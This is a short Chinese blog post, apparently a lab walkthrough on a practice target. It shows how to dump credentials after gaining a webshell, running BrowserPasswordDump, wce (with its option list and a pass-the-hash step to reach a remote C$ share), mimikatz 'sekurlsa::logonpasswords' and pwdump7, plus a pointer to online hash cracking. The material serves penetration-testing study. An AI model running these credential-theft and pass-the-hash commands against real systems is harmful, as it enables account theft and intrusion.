第三方软件提权

BrowserPasswordDump.exe的使用

  1. 在获取到webshell的前提下,将BrowserPasswordDump.exe上传到目标靶机中

  2. 上传成功后执行BrowserPasswordDump.exe

    image-20210625224714022

  3. 以上便成功获取了通过浏览器记住的密码,再通过命令获取服务器的用户名,然后根据此可以猜测服务器的某些用户的密码为ndsec123,从而减少被发现的几率

    image-20210625224912919

Wce.exe的使用

  1. 同样在已经获取到shell的情况下,上传wce.exe程序

    image-20210626000435411

  2. 执行语句:wce.exe -l

    image-20210626000711135

    -l 列出登录的会话和NTLM凭据(默认值)
    -s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
    -r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
    -c 用一个特殊的NTML凭据运行一个新的会话 参数:
    -e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
    -o 保存所有的输出到一个文件 参数:<文件名>
    -i 指定一个LUID代替使用当前登录会话 参数:
    -d 从登录会话中删除NTLM凭据 参数:
    -a 使用地址 参数: <地址>
    -f 强制使用安全模式
    -g 生成LM和NT的哈希 参数<密码>
    -K 缓存kerberos票据到一个文件(unix和windows wce格式)
    -k 从一个文件中读取kerberos票据并插入到windows缓存中
    -w 通过摘要式认证缓存一个明文的密码
    -v 详细输出

  3. 然后在攻击主机执行语句{wce.exe -s 对方hash值},将对方的hash值注入到攻击机本地

    wce.exe -s 用户名:对方机器名或者ip:LM-HASH:NT-HASH

    image-20210626003924364

  4. 通过对方的hash值可以访问对方文件

    dir \NDSEC-D362CF050\c$

    image-20210626004616672

Mimikatz的使用

  1. 在拿到shell的情况下上传Minikatz.exe

    image-20210626220044415

  2. 执行语句

    mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >>1.txt

    privilege::debug 提升权限

    sekurlsa::logonpasswords 抓取密码

    image-20210626220835292

  3. 然后将获取到的hash值和明文密码文件1.txt下载至本地即可查看

    image-20210627215847842

pwdump7.exe的使用

  1. 在获取到webshell的情况下将pwdump7.exe相关组件上传到靶机

    image-20210626231309435

  2. 上传成功后编写批处理文件,执行后即可产生密码文件

    Pwdump7.exe >pass.txt

    image-20210627220948615

  3. 然后去https://www.objectif-securite.ch/ophcrack破解即可

posted @ 2021-07-12 23:30  不破爱花灬  阅读(129)  评论(0编辑  收藏  举报